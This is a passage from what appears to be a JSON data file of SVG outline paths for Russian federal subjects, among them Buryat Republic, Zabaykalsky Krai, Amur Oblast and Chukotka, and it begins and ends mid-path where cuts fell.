-0.625-1.1607-1.7857-1.25-2.2321-0.0893-0.44643-0.80357-2.4107-0.98214-2.7679-0.17857-0.35714-1.0714-2.3214-1.0714-2.3214l-2.0536-3.5714-1.0714-2.7679,0.26786-2.0536,1.0714-0.625,0.80357-1.25,1.4286-1.875,0.625-0.98214-2.3214-1.25s-1.875,0.44642-2.2321,0.71428c-0.35715,0.26786-0.98215,1.3393-0.98215,1.3393s0.35715,0.625,0,0.80357c-0.35714,0.17857-2.3214,0.44643-2.3214,0.44643l-1.25,0.89285-0.71429,1.9643v1.6071l-0.98214,0.98215-2.0536,1.0714-1.3393,0.98215-1.1607,1.3393s-1.6964,0.0893-2.0536,0.0893c-0.35714,0-2.0536-0.625-2.0536-0.625l-2.6786,0.17857-2.3214-0.0893-1.9643-1.4286-1.4286,0.26786-2.0536-0.35714s-0.80357-0.71429-1.1607-0.71429c-0.35714,0-2.1429,0.625-2.1429,0.625l-1.5178,1.3393-0.98215,1.0714-2.6786,0.26785-1.9643-0.0893-2.3214,0.44643-2.2322,1.1607-3.3928,1.7857-2.3214,0.98215-1.3393,0.89285-0.89285,1.1607s-0.0893,0.35714,0.0893,0.71428c0.17857,0.35715,0.98214,1.4286,0.98214,1.4286l1.6072,0.80357,0.98214,0.89285,0.83,0.91,0.0893,1.1607-1.6071,2.1428-0.35714,2.2322-0.35715,1.875v2.6786l0.80358,1.6071,1.1607,1.4286s0.26786-0.44643,0.71429-0.80357c0.44642-0.35714,1.1607-2.3214,1.1607-2.3214v-2.0536l0.0893-2.0536,0.98214-1.875,1.6964-1.25,1.1607-0.17857,0.89286,1.1607s-0.0893,1.25-0.26786,1.6964c-0.17857,0.44643-0.53571,0.98214-0.35714,1.3393,0.17857,0.35714,0.89286,1.4286,0.89286,1.4286l-0.17858,2.7678s-0.35714,2.3214-0.35714,2.6786c0,0.35714-0.26786,2.5893-0.26786,3.0357v2.5893c0,0.89285,0,1.5178,0.0893,2.1428s0.0893,1.6964-0.0893,2.1429c-0.17857,0.44643-0.44642,1.25-0.71428,1.9643-0.26786,0.71428-0.35714,1.25-0.44643,1.9643-0.0893,0.71429-1.0714,1.6964-1.0714,1.6964s-0.71428,0.26786-0.98214-0.625-1.6071-0.98214-1.6071-0.98214-0.71429,0.44642-1.0714,0.98214c-0.35715,0.53571-0.89286,1.25-0.35715,1.6964,0.53572,0.44643,1.5179,1.6071,1.5179,1.6071s0.625,0.35714,0.26786,1.1607c-0.35714,0.80358-1.1607,1.0714-1.6964,1.4286-0.53571,0.35714-1.5179,0.89285-1.6964,1.25-0.17857,0.35714-0.71428,1.4286-0.71428,1.7857,0,0.35714-0.44643,2.0536-0.44643,2.0536l-1.3393,0.98214-1.875,1.3393s-2.2321,0.71429-2.6786,0.98214c-0.44643,0.26786-2.5,1.4286-2.8571,1.7857-0.35715,0.35714-0.53572,1.25-1.4286,1.6071-0.89286,0.35714-3.125,1.3393-3.125,1.3393l-0.98215,0.26785s-0.35714,0.80357-0.35714,1.1607c0,0.35714-0.26786,2.2321-0.26786,2.7678,0,0.53572-0.26785,0.98215-0.625,1.6964-0.35714,0.71429-0.98214,1.6964-1.6071,1.7857-0.625,0.0893-2.7679,0.71428-3.2143,0.89285-0.44642,0.17858-2.5,0.89286-3.0357,0.98215-0.53571,0.0893-2.8571,1.0714-2.8571,1.0714l-0.71429,0.80357-1.5179,1.1607-2.0536,0.71429-1.4286,0.80357-1.6964-1.0714-0.35714-0.98214-0.44643-1.25s-0.35714-0.35715-1.25-0.26786c-0.89286,0.0893-2.0536,0.44643-2.0536,0.44643s-1.3393-1.4286-1.6071-1.875c-0.26786-0.44643-1.875-3.125-1.875-3.125l-1.54-1.99-1.34-1.61s-1.1607-0.71429-1.6964-0.71429c-0.53571,0-2.6786-0.17857-3.0357-0.17857-0.35715,0-1.6072-0.89285-1.7857-1.1607-0.17857-0.26786-3.4821-4.2857-3.4821-4.2857l-1.875-0.89285-2.8571-1.9643-1.9643-2.2321-1.0714-1.6964-0.89286-0.625s-0.89285-0.26786-1.25,0.0893c-0.35714,0.35714-0.80357,0.53571-1.3393,0.89285-0.53572,0.35715-1.875,1.4286-1.875,1.4286l-1.3393,1.25-1.9643,1.1607-1.4286,0.89286s-0.89286,1.0714-0.98215,1.6071c-0.0893,0.53571-0.26785,1.1607-0.26785,2.0536,0,0.89286-0.35715,3.3036-0.35715,3.3036z","name":"Buryat Republic"},"zb":{"path":"m588.41,500.07s1.1364,1.1364,1.6415,1.5152c0.50508,0.3788,1.6415,1.6415,2.2728,1.894,0.63134,0.25254,2.6516,1.6415,2.6516,1.6415s2.9042,1.0102,3.4093,1.0102h5.5558c1.1364,0,3.283,0.75762,3.283,0.75762s0.88388,0.63134,2.0203-0.25254c1.1364-0.88389,2.3991-1.6415,2.3991-1.6415s0.75762,0.25254,1.6415,0.63135c0.88388,0.3788,1.5152,1.2627,2.1466,1.2627,0.63135,0,3.4093-1.7678,3.4093-1.7678s2.6516-2.2728,3.1567-2.7779c0.50507-0.50508,2.5254-0.88388,3.5355-1.2627,1.0102-0.37881,5.4296-0.50508,5.4296-0.50508s1.894-1.2627,2.2728-1.894c0.37881-0.63135,1.7678-3.4093,1.894-3.9143,0.12627-0.50508,2.7779-2.3991,3.4093-2.9042,0.63135-0.50508,4.9245-2.5254,5.177-3.0305,0.25253-0.50508,2.0203-1.5152,2.0203-1.5152l3.1567,1.2627,2.9042,1.2627s2.2728,0.25254,2.9042,0.25254c0.63135,0,2.2728-0.50508,2.7779-0.88388,0.50508-0.37881,3.1567-1.7678,3.1567-1.7678s3.283,0.25254,3.7881,0.50508c0.50508,0.25253,1.7678,0.88388,2.3991,1.1364,0.63135,0.25254,3.9144,1.389,3.9144,1.389s3.6618,0.3788,4.4194,0.25254c0.75762-0.12627,2.5254-1.7678,2.7779-2.3991,0.25254-0.63134,0.75762-2.3991,1.6415-2.9042,0.88388-0.50507,4.2932-1.5152,4.2932-1.5152s1.389-0.12627,1.5152-1.6415c0.12627-1.5152,0.37881-2.9042-0.25254-3.5355-0.63135-0.63134-1.389-0.88388-1.7678-1.7678-0.3788-0.88389,0.88389-8.9651,0.88389-8.9651l1.6415-3.7881,1.2627-4.2932s1.389-2.2728,1.2627-2.9042c-0.12627-0.63134-0.37881-3.9143-0.37881-3.9143l-1-2.41s-1.1364-0.88388-1.5152-1.389c-0.37881-0.50507-1.0102-0.37881-1.5152-1.0102-0.50508-0.63135-1.7678-1.1364-1.7678-1.7678,0-0.63134-0.25254-1.5152,0.37881-2.0203,0.63134-0.50508,3.0305-3.0305,3.7881-3.4093,0.75761-0.37881,4.5457-2.5254,4.9245-3.0305,0.37881-0.50507,1.389-1.6415,1.7678-2.1466,0.37881-0.50508,0.88388-0.50508,0.63135-1.6415-0.25254-1.1364-2.6516-3.5355-2.6516-3.5355s-0.63135-0.88389-1.5152-0.88389c-0.88389,0-3.1567-0.3788-3.1567-1.0102,0-0.63134-0.37881-1.2627-0.12627-2.0203,0.25254-0.75762,2.0203-2.2728,2.2728-2.9042,0.25254-0.63135,0.37881-1.894,0.37881-1.894l-2.3991-1.6415-2.6516,0.12627s-0.25254-0.25253-0.25254-0.88388c0-0.63134,0.63135-2.7779,0.88388-3.283,0.25254-0.50507,0.50508-1.5152,0.63135-2.1466,0.12627-0.63134-0.25254-1.7678-0.75761-2.3991-0.50508-0.63135-1.5152-1.389-1.5152-1.389s-1.1364-0.50508-1.6415,0.12627c-0.50508,0.63134-1.1364,1.5152-1.1364,1.5152s-1.1364,0.12627-1.6415-0.25254c-0.50508-0.37881-0.88388-4.1669-0.88388-4.1669s-0.88389-1.2627-1.6415-1.389c-0.75762-0.12627-1.6415-0.12627-2.1466,0.50508-0.50507,0.63134-1.0102,1.0102-1.7678,1.5152-0.75762,0.50508-1.2627,1.1364-1.894,0.75762-0.63134-0.37881-1.389-0.75762-1.2627-1.389,0.12627-0.63135,0.75761-1.6415,0.88388-2.1466,0.12627-0.50507-1.7678-2.1466-1.7678-2.1466l-3.283-0.12627-1.1364-1.1364c-0.12627-0.75761,0.25254-2.5254,0.25254-2.5254l-1.389-1.5152-2.7779-4.0406-1.2627-1.894-3.1567-0.3788-1.1364-2.0203-0.25254-2.9042-1.2627-0.3788h-1.2627l-1.6415,0.63134-1.6415-1.0102-3.0304-0.63135-1.894,0.75762-0.37881,1.0102-0.12627,1.894,0.37881,1.894-0.25254,1.5152-0.50507,2.0203,0.75761,2.0203,0.50508,1.389,1.7678,1.5152,0.88389,0.88388,0.25254,1.894s-0.25254,1.0102-0.75762,1.389c-0.50507,0.37881-3.0305,1.2627-3.0305,1.2627s-2.3991,0.63134-2.9042,0.75761c-0.50508,0.12627-3.4093,0.75762-3.4093,0.75762l-1.389,1.5152-0.25254,1.6415,0.75762,2.5254,1.7678,3.283,1.6415,3.7881,0.75762,2.9042,2.0203,2.2728,1.2627,1.1364,2.1466,0.25254,2.2728,0.50507,1.7678,1.389,0.50507,1.6415,0.12627,1.894v2.3991l-1.894,1.6415-3.0305,1.2627-2.5254,1.2627-2.1466,2.0203-1.0102,1.7678-0.75761,2.1466-2.6516,1.6415-1.894,1.389-2.0203,1.5152-0.88388,0.88388v0.75762l0.88388,0.88388c0.50508,0.12627,2.1466,1.2627,2.1466,1.2627l1.894,1.0102s0.75762,0.88389,0.88389,1.389c0.12627,0.50508,0,1.5152-0.12627,2.1466-0.12627,0.63134-2.0203,3.6618-2.0203,3.6618l-1.894,1.6415-3.6618,2.0203-3.1567,0.63135-2.1466,1.0102s-0.75761,0.37881-1.1364,1.0102c-0.3788,0.63135-1.6415,1.2627-1.6415,1.2627l-2.2728,0.50507-1.0102,0.88388s-1.2627,0.88389-1.6415,1.389c-0.37881,0.50508-3.5355,2.9042-3.5355,2.9042l-0.88389,1.389s-0.75761,1.1364-1.389,1.2627c-0.63134,0.12627-2.2728,0.12627-2.2728,0.12627l-2.3991-0.88388-1.6415,1.389s-1.6415,0.37881-2.1466,0.88388c-0.50508,0.50508-2.7779,1.7678-2.7779,1.7678l-2.3991,0.63134s-1.894-0.25253-2.5254,0.12627c-0.63134,0.37881-1.2627,1.5152-1.2627,1.5152l0.63135,1.5152,0.25254,0.88388-0.88389,1.894s-1.0102,0.75762-1.0102,1.2627-0.88388,2.0203-0.88388,2.0203-0.50508,0.88388,0.25253,1.389c0.75762,0.50507,2.5254,0.88388,2.5254,0.88388s1.389-0.12627,1.5152,0.50508c0.12627,0.63134-1.1364,1.6415-1.1364,1.6415l-2.6516,0.75762-2.0203,1.2627-0.88389,1.6415z","name":"Zabaykalsky Krai"},"am":{"path":"m662.32,397.46,4.6429-0.17857,2.3214-0.17858,3.5714-1.7857,2.6786,0.35714,3.5714,1.0714,2.1429,1.0714,2.6786,0.53571,4.4643-0.53571,3.0357,0,2.3214,0.53571,2.8571,2.1429,2.1429,0.89286,2.8571,0.35714,2.3214-1.7857,2.3214-0.71429,1.9643,0,2.1429,1.4286,2.1429,0.71429,2.5-0.71429,1.7857-1.9643,1.7857-1.25,4.1072,0,2.5-1.4286,2.1428-0.89286,3.75,0,1.4286,0,1.25-0.71429,0.53571-2.5,1.6071-1.0714,4.2857-2.3214,2.3214-0.89286,3.5714-1.9643,2.8572-1.4286,5-0.89286,3.0357,0,1.6071,1.4286l-0.37,3.2s-1.25,1.6071-1.9643,2.6786c-0.71429,1.0714-1.6072,2.6786-1.9643,3.3929-0.35714,0.71429-1.25,2.1429-1.25,2.1429s-0.53571,2.8571-0.71429,3.5714c-0.17857,0.71428-1.0714,2.8571-1.0714,2.8571s-1.25,1.7857-1.0714,2.5c0.17857,0.71428,1.25,1.25,1.25,1.25l0.89285,0.71428,3.2143-0.71428s1.7857-0.17857,2.6786-0.17857c0.89286,0,2.5,0.89285,2.5,0.89285l0.53572,1.9643,0.89285,2.6786s0.17857,0.53572,1.6072,0.53572,2.6786-1.4286,2.6786-1.4286l0.17857-2.3214s1.0714-0.89286,1.9643-0.89286c0.89286,0,2.5-0.53572,2.5-0.53572l1.25-2.1428,0.35715-2.5,1.9643-1.7857,2.3214,0.17857c0.71,0.19,3.03-1.6,3.03-1.6l1.4286-1.4286s0.89285-1.0714,1.9643-0.35714c1.0714,0.71428,2.3214,2.5,2.3214,2.5v2.8571l0.53572,1.6071,1.9643,1.7857s1.6071,0.71428,1.25,1.6071c-0.35714,0.89286-2.8571,1.9643-3.5714,1.9643-0.71428,0-3.5714,0.89285-3.5714,0.89285l-1.6071,0.17857-1.96,0.89s-0.71429,0.17857-0.17858,1.0714c0.53572,0.89286,1.9643,1.7857,1.9643,1.7857l1.25,0.89286,0.35714,1.9643-3.2143,2.3214-1.6072,3.0357-0.17857,2.1429-1.6071,2.3214-2.6786,0.89285-1.6071,1.4286,1.9643,1.9643,0.35714,1.7857-2.3214,2.3214-1.25,3.5714,1.6071,2.8571s3.5714,1.4286,4.2857,1.6072c0.71429,0.17857,4.8214,0.71428,4.8214,0.71428s1.4286,0.71429,1.9643,1.25c0.53571,0.53572,0.71428,3.2143,0.71428,3.2143l0.35715,2.5s0,0.53571,0.71428,1.0714c0.71429,0.53571,0,3.5714,0,3.5714l-0.71428,2.8571-0.53572,1.7857-1.25,1.7857-3.2143,0.35714-4.1072-0.17857-2.8571-1.4286-1.77-0.53-3.04,1.07h-3.3929-2.5l-3.2143,0.89286s-2.6786-0.35714-3.5714-0.53572c-0.89286-0.17857-3.5714-2.1428-3.5714-2.1428l-3.22-2.67-1.07-2.15-1.43-2.14-1.7857-1.0714-1.0714-1.9643s0-1.0714-0.71428-1.6072c-0.71429-0.53571-2.6786-0.71428-2.6786-0.71428l-0.89286-1.25-1.7857-2.8571-1.9643-2.5s-1.25-1.4286-1.9643-1.6072c-0.72-0.18-1.79-0.36-2.15-1.43-0.35715-1.0714-2.3214-2.6786-2.3214-2.6786l-2.8572-1.4286-2.6786-1.4286-3.0357-0.17857-2.6786-0.17858s-0.71429,0.89286-1.6072,1.0714c-0.89285,0.17857-4.4643-0.35714-4.4643-0.35714l-3.5714-1.25-2.3214,0.35714-1.9643,0.89286-1.6072,1.4286-3.75,0.71429s-3.2143,0.71428-3.3928,0c-0.17858-0.71429-2.8572-4.1072-2.8572-4.1072l-1.7857-1.4286h-1.6071l-1.0714-1.0714v-2.1428l2.1428-2.1429,0.17858-1.4286-0.89286-1.4286-1.25-0.89286-2.1429-0.17857s-0.71428,1.0714-0.71428,0,0.71428-3.3929,0.71428-3.3929l0.89286-2.3214-0.35714-1.9643-1.25-1.7857-1.7857-0.71428-1.25,0.71428-1.25,0.71429-1.25-0.17857s-0.35714-0.71429-0.35714-1.4286c0-0.71429-1.25-2.6786-1.25-2.6786l-0.71429-0.71428-1.7857-0.17857-0.89286,0.89285-1.4286,0.89286-2.5,0.53572s-0.35714-0.35715-0.17857-1.0714c0.17857-0.71429,0.71428-2.5,0.71428-2.5l-1.25-1.4286-0.51-0.52-1.79-0.18h-2.1429l-0.35714-1.0714v-2.1429z","name":"Amur Oblast"},"ch":{"path":"M876.72,53.094c-0.34,0-0.66,0.094-0.66,0.094l-1.78,2.124-4.47,1.969s-6.05,2.853-7.12,3.031c-1.07,0.179-1.44,1.969-1.44,1.969s0.37,2.514,0.19,3.407c-0.18,0.892-1.44,1.406-1.44,1.406s-2.32,1.428-2.5,2.5c-0.18,1.071,0.91,2.156,0.91,2.156s2.66,0.906,3.37,0.906c0.72,0,2.85-0.375,3.56-0.375,0.72,0-0.34,1.625-0.34,1.625l-0.91,1.782-2.31-0.907-3.03-0.719s-2.14,0.554-3.03,0.376c-0.89-0.179-2.31-1.438-2.31-1.438l-2.69,0.531-2.88,0.375h-1.06s-0.53,2.656-1.25,2.656c-0.71,0-2.12,1.782-2.12,1.782l-3.41,0.187-2.84,2.875s-2.86,2.496-3.75,3.032c-0.9,0.535-1.61,0.531-2.5,0.531-0.9,0-2.5,1.062-2.5,1.062l-4.85,3.219-5.15,1.062-3.07,0.907s-1.04,2.861-1.93,3.219c-0.9,0.357-2.88,1.968-2.88,1.968l-3.22,1.938-2.12,1.966-2.16,3.03-1.25,1.97-1.06,2.5v3.22s-0.91,0.72-1.63,0.72c-0.71,0-2.84,1.25-2.84,1.25s-0.9,2.51-1.44,3.41c-0.53,0.89-2.85,1.76-3.56,2.12s0.34,1.25,0.34,1.25l2.35,0.53,0.53,2.16,2.69,0.53h2.65,3.75s1.44,1.07,1.97,1.78c0.54,0.72,1.63,1.78,1.63,1.78l-1.82,2.5-2.5,1.1-2.31-0.72s-1.6,1.25-2.31,1.25c-0.72,0-2.16,1.59-2.16,1.59s-1.42-0.71-2.31-1.25c-0.89-0.53-1.96,0-3.03,0s-1.26,1.26-1.44,1.97-0.87,2.84-0.87,2.84-1.09,1.79-1.63,2.5c-0.53,0.72-2.66,2.69-3.37,3.22-0.72,0.54-1.81,0.54-4.13,0.72s-1.07,1.26-1.25,2.16c-0.18,0.89-1.06,3.03-1.06,3.03s-2.15,1.24-2.69,2.31c-0.53,1.07-0.53,2.67-0.53,3.56,0,0.9,0.53,1.82,0.53,1.82h1.06l0.19-0.72,0.19-1.97,0.72-1.06,0.72,0.53,3.9,1.59,5,3.41,0.38,0.87-0.38,5.19-1.06,2.84-4.09,4.47-2.88,3.94-0.34,2.5,1.25,0.19h1.59s-0.17,1.42-0.53,2.31,0.34,1.59,0.34,1.59l2.88,1.25,3.75,0.38,4.62-0.19,2.69,3.41,2.16,1.78h4.47c1.25,0,1.06,2.5,1.06,2.5l1.06,1.59,3.94-0.34s5.36-1.44,6.25-1.44,3.2-0.53,3.56-1.25c0.36-0.71,2.69-1.59,2.69-1.59l1.97-0.91h3.75s2.66-1.24,3.37-1.59c0.72-0.36,0.74-1.98,1.1-2.69,0.35-0.71,0.87-3.03,0.87-3.03l1.25-2.5h1.63l1.78-1.06,1.06-1.63,1.44-0.34,2.31-1.44,1.06-1.25s0.91-0.89,1.63-1.78c0.71-0.89,0.87-1.6,1.4-2.31,0.54-0.72,2.51-1.44,3.22-1.97,0.72-0.54,2.15-2.14,2.5-3.03,0.36-0.9,1.63,0,1.63,0l4.09,0.68s3.22-1.04,5.72-1.93c2.5-0.9,1.08,1.06,0.91,1.78-0.18,0.71,0,3.2,0,4.09s0.88,3.22,1.78,4.47c0.89,1.25,3.9-1.44,3.9-1.44s3.05-1.78,3.94-2.5c0.89-0.71,3.94,0,3.94,0h6.06v-2.84c0-0.72,1.43-3.23,1.97-4.13,0.54-0.89,1.25-3.56,1.25-3.56l0.72-2.5-0.19-4.81s1.79-1.97,3.22-1.97,2.69,1.59,2.69,1.59l4.28,0.91,1.44-0.53s-0.19-3.22-0.19-3.94c0-0.71-0.19-2.84-0.19-2.84l-0.53-3.22s-0.54-2.51-0.72-3.41c-0.18-0.89-0.87-2.12-0.87-2.12l-2.5-1.63,1.25-0.87,4.09-0.38s1.96-2.66,2.5-3.37c0.54-0.72,2.84-2.35,2.84-2.35v-2.5s-1.04-2.13-1.93-3.03c-0.9-0.89-2.35,0.18-3.07,0.53-0.71,0.36-3.03-0.34-3.03-0.34s-1.41-0.88-2.12-0.34c-0.72,0.53-1.63,1.06-1.63,1.06l-1.4-1.06-1.97,1.78-1.44-0.72s-2.84-1.79-4.09-1.25c-1.25,0.53-1.97-0.72-1.97-0.72h-2.5s-0.56,1.25-1.1,1.97c-0.53,0.71-3.03,0.87-3.03,0.87l-2.84,0.91-2.69,3.75-2.69,0.53,1.25-2.5,0.19-1.59-3.03-0.38s2.13-0.88,2.84-1.06c0.72-0.18,3.41-1.06,3.41-1.06l1.97-0.91,0.34-1.59s1.78-3.41,1.78-4.13c0-0.71-0.68-3.22-0.68-3.22l-0.91-2.31s-2.5-4.63-3.22-5.34c-0.71-0.72-1.05-1.78-2.12-1.78-1.08,0-3.07,0.68-3.07,0.68l-1.4,0.91-1.25-1.06s-2.17-1.98-3.6-2.159c-1.42-0.178,0.38-0.719,0.38-0.719l0.87-1.593s-0.16-1.973,0.38-2.688c0.53-0.714,1.97,1.25,1.97,1.25s2.67,1.438,3.56,1.438,1.78,0.531,1.78,0.531,3.41-0.371,4.13-0.906c0.71-0.536,0.68-2.313,0.68-2.313l0.19-2.687,0.72-1.25,1.25-1.782s0.36-1.964,1.25-2.5c0.89-0.535,1.79,0,2.69,0,0.89,0,2.31,1.626,2.31,1.626l1.59,0.718,2.5-1.437s1.28-2.139,1.82-3.031c0.53-0.893,2.84-1.782,2.84-1.782l2.84-2.156,1.44-3.219s2.14-1.973,2.5-2.687c0.36-0.715-0.34-1.782-1.59-1.782h-1.78l-1.82-1.062-1.93-0.188-3.07-1.781-3.18-0.187h-3.75c-0.9,0,0-0.875,0-0.875l2.5-1.625,0.68-2.5-1.06-1.25-2.5-0.532,1.78-1.25,0.53-1.25-2.31-0.531v-2.5s-0.35-1.785-0.53-2.5c-0.09-0.357-0.45-0.437-0.78-0.437zm-77.19,16.062c-0.22-0.01-0.48,0.081-0.78,0.282-1.61,1.071-3.94,2.312-3.94,2.312-1.07,0.357-1.79,1.42-1.97,2.312-0.17,0.893-0.53,2.88-0.53,3.594,0,0.715,0.2,2.496,1.1,3.032,0.89,0.535,3.03,1.598,3.03,2.312s-0.56,2.321,0.15,2.5c0.72,0.179,1.44-0.522,1.97-1.594,0.54-1.071,0.36-3.419,0.72-4.312s1.45-2.491,1.63-3.563c0.17-1.071-0.19-5.187-0.19-5.187s-0.24-1.644-1.19-1.688z","name":"Chukotka Autonomous Okrug"},"ha":{"path":"m779.82,276.93c0.53572-0.71428,1.4286-1.4286,1.9643-2.3214,0.53571-0.89285,1.7857-2.5,1.7857-2.5s1.7857-0.17857,4.1072,0.17858c2.3214,0.35714,4.4643,1.4286,5.7143,2.1428,1.25,0.71429,2.6786,1.25,3.0357,2.3214,0.35714,1.0714,1.6071,2.1429,1.6071,3.3929s-1.4286,3.5714-1.4286,4.2857c0,0.71429-0.17857,2.5,0.71428,3.3929,0.89286,0.89286,0.71429,1.6071,1.7857,1.4286,1.0714-0.17857,3.9286-1.0714,5-1.25,1.0714-0.17857,3.3929,0,5,0.53572,1.6071,0.53571,2.8571,0.89285,3.2143,1.6071,0.35715,0.71428,1.0714,1.4286,0.89286,2.5-0.17857,1.0714-2.5,2.8571-2.5,2.8571l0.17857,1.4286,0.89286,1.6072s1.6071,0.71428-0.35714,0.89285c-1.9643,0.17857-3.0357-0.71428-3.0357-0.71428s0.17857-0.17857,0-1.0714c-0.17857-0.89286-0.71428-1.7857-1.7857-1.4286-1.0714,0.35714-2.3214,1.9643-3.0357,2.5-0.71428,0.53571-2.8571,3.0357-2.8571,3.0357s-1.9643,0.71429-2.8571,1.7857c-0.89286,1.0714-4.1071,4.6428-4.1071,4.6428s-0.17858,1.25-1.0714,2.5c-0.89286,1.25-2.3214,2.3214-2.5,3.5714-0.17857,1.25,0,4.1071,0,4.1071s1.4286,1.0714,1.6071,2.3214c0.17857,1.25-0.89286,1.9643-1.25,2.8572-0.35714,0.89285-1.4286,0.53571-1.4286,1.7857s0.17857,5.7143,0.17857,5.7143l-0.35714,4.8214-0.35715,4.1072s-1.0714,1.9643-1.25,3.2143c-0.17857,1.25-0.35714,2.6786-0.35714,3.3929,0,0.71429-0.17857,3.0357-0.17857,3.75,0,0.71429-0.71429,1.9643-0.89286,2.6786-0.17857,0.71429-1.0714,1.25-0.17857,1.9643,0.89286,0.71428,1.9643,1.9643,1.9643,1.9643l-1.7857,3.3929-0.17857,1.9643-1.7857,3.3928-1.25,3.75-0.35715,4.1072-0.71428,1.6071-3.2143,4.1071,0.35715,2.6786s2.1428,1.0714,2.8571,1.0714c0.71428,0,3.3929,0.53572,4.4643-0.17857s2.5-1.4286,3.2143-1.7857c0.71429-0.35715,1.6071-0.89286,2.8571,0.35714s2.5,4.4643,2.5,4.4643,0.17857,1.4286,1.4286,1.0714c1.25-0.35714,1.9643-2.1428,1.9643-2.1428l-1.0714-2.1429,0.53572-2.6786-0.53572-1.7857-1.6071-2.5s-1.7857-1.4286-2.5-1.4286c-0.71429,0-3.75,1.4286-3.75,1.4286s-1.9643,2.3214-1.6071,1.4286c0.35714-0.89285,1.9643-3.3928,1.9643-3.3928l1.6071-0.35715,1.25-1.7857s0.89286-0.71429,1.9643-0.71429,3.2143-1.25,3.2143-1.25,1.25-2.6786,1.0714-0.89285c-0.12,1.78-1.72,4.28-1.72,4.28l1.0714,2.1429,1.9643,2.1429,0.53572,1.7857-0.17857,2.6786,2.3214,1.4286v1.6072,2.8571l1.7857-0.71429c0.71429-0.71428,2.1429-4.2857,2.1429-4.2857l0.89285-3.2143v-2.1428s-1.6071-1.7857-0.89285-1.9643c0.71428-0.17857,4.6428-2.1429,4.6428-2.1429s2.1429-0.53571,3.0357-0.53571c0.89286,0,4.1071,0.17857,4.8214,0.35714,0.71428,0.17857,4.4643,1.6071,4.4643,1.6071s4.4643,1.25,5.1786,1.25c0.71429,0,1.9643,1.7857,1.9643,1.7857s-0.89286,1.9643,0.53571,2.8571c1.4286,0.89286,4.8214,3.0357,4.8214,3.0357l3.75,2.1428s1.4286,3.3929,1.4286,4.2857c0,0.89285-0.17857,4.6428-0.17857,5.7143,0,1.0714,0,5,0.53572,5.7143,0.53571,0.71428,1.0714,2.3214,2.1428,3.2143,1.0714,0.89286,3.2143,4.2857,3.2143,4.2857l2.5,1.25,3.0357,6.9643s1.4286,1.4286,1.6072,2.3214c0.17857,0.89286,1.6071,3.0357,1.7857,3.75,0.17857,0.71429,1.6071,5,1.7857,5.7143,0.17857,0.71428-0.53572,8.5714-0.53572,8.5714l0.53572,3.3928s0,1.25-0.89286,1.9643c-0.89286,0.71429-3.5714,1.6071-3.5714,1.6071l-1.4286,0.17857-1.4286-1.7857-0.53572-2.6786-3.0357-3.0357s-1.9643-1.25-2.6786-0.71428c-0.71429,0.53571-2.3214,1.9643-2.3214,1.9643s-0.89286,1.7857-1.25,2.5c-0.35714,0.71429-1.4286,1.25-0.89286,2.3214,0.53572,1.0714,1.9643,2.6786,1.9643,2.6786s0.35714-0.71428,2.1428-0.53571c1.79,0.18,2.14,2.68,2.14,2.68l-0.89286,3.2143s-1.9643,1.25-2.6786,1.6071c-0.71428,0.35714-2.8571,1.25-1.7857,2.1429,1.0714,0.89285,2.3214,1.25,2.3214,1.25s0.71428,1.25,0,1.9643c-0.71429,0.71429-2.3214,2.1429-2.3214,2.1429s-1.7857,0.35714-3.0357,1.25-3.2143,1.4286-4.2857,1.6071c-1.0714,0.17857-2.8571,1.25-4.1071,0s-2.1429-0.89285-2.5,0.17857c-0.35715,1.0714-1.6072,0.89286-1.7857,1.9643-0.17857,1.0714,0,2.8571,0.35715,3.5714,0.35714,0.71428,0,3.0357,0,3.0357s-2.3214,1.9643-2.5,1.25c-0.17858-0.71428,0.17857-2.3214-0.35715-3.2143-0.53571-0.89286-2.3214-2.5-2.3214-2.5s-2.8571-1.4286-1.7857-2.3214c1.0714-0.89286,2.8571-2.6786,3.2143-3.2143,0.35714-0.53571,0.35714-3.0357,0.35714-3.0357s-2.1429-0.89286-2.6786-1.7857c-0.53572-0.89285-1.0714-3.3928-1.0714-4.1071,0-0.71428-0.71429-3.3929,0.17857-3.75,0.89286-0.35714,2.8571-1.9643,2.8571-1.9643l0.53572-1.9643s-0.53572-0.35714-2.1429-0.35714c-1.6071,0-2.5-0.17857-3.9286,0.89285s-1.4286,1.0714-2.5,2.5-2.1429,2.6786-3.2143,3.2143c-1.0714,0.53571-2.6786,0.71429-2.6786,0.71429s-4.1071-0.71429-4.2857-1.4286c-0.17857-0.71428-1.6072-1.9643-2.5-1.9643-0.89286,0-2.1429,0.35714-3.2143,0.89286-1.06,0.55-1.95,0.73-2.84,0.73-0.89286,0-4.2857,1.0714-4.2857,1.0714s-2.1428,1.7857-3.2143,1.7857c-1.0714,0-2.1014,0.40945-2.28-0.66198-0.17857-1.0714-1.0823-3.4216-1.0823-3.4216l-1.5332-4.3507s-2.6677-0.69261-3.7392-0.87119c-1.0714-0.17857-3.8221-0.85138-3.8221-0.85138l-2.4892-1.1525s-2.1249-2.2078-1.7678-2.9221c0.35714-0.71428,1.7028-4.0044,2.4171-4.5401,0.71428-0.53572,1.2608-1.4069,1.2608-1.4069l-1.25-2.3214s-1.7965-1.2085-0.90368-1.7442c0.89286-0.53571,3.7608-2.0058,3.7608-2.0058l2.0906-4.0892,1.5025-3.2341,3.5498-2.6767-0.89285-1.9643-2.4171-1.7118-0.11357-1.6288,2.5306-1.1237,4.1071-0.71428,2.6786-0.89286,1.0714-1.25-0.53571-1.6071-1.986-1.47-1.0083-2.5108-0.0631-2.4477-1.47-2.0058-1.7226-0.67282-2.2583,1.7442s-1.6703,1.0823-2.3846,1.4394c-0.73,0.34-2.87,0.19-2.87,0.19l-2.3214,1.25-0.44008,2.5-0.80992,2.3214-2.5,1.0714-2.1429,0.53571-0.53571,2.4585-1.4809,1.4286-2.3431-0.17857-0.99746-2.4585-1.0714-2.5s-1.2608-0.51404-1.9751-0.69262c-0.71428-0.17857-4.4534,0.51405-4.4534,0.51405l-1.7857-0.17857-1.7857-1.25,1.9643-5.5357,0.89286-4.1072s1.25-2.3214,1.9643-3.0357c0.71428-0.71429,3.0357-5,3.0357-5l0.35714-2.6786s-0.53571-1.25-1.6071-1.6072c-1.0714-0.35714-5.3571,0.17858-5.3571,0.17858l-2.6786,0.53571s-3.3424,2.5325-4.0567,1.8182c-0.71428-0.71429-1.1219-3.9611-1.1219-3.9611s-3.0376-1.6288-3.0376-2.5217c0-0.89286,1.9662-1.5855,1.9662-1.5855s0.53571-1.0714,0.71428-2.1429c0.17857-1.0714-0.20024-2.8138-0.20024-2.8138l-2.6281-0.77741s-1.4069-0.89472-2.1212-1.0733c-0.71428-0.17857,1.1996-2.2998,1.1996-2.2998l0.89286-1.6072-0.35714-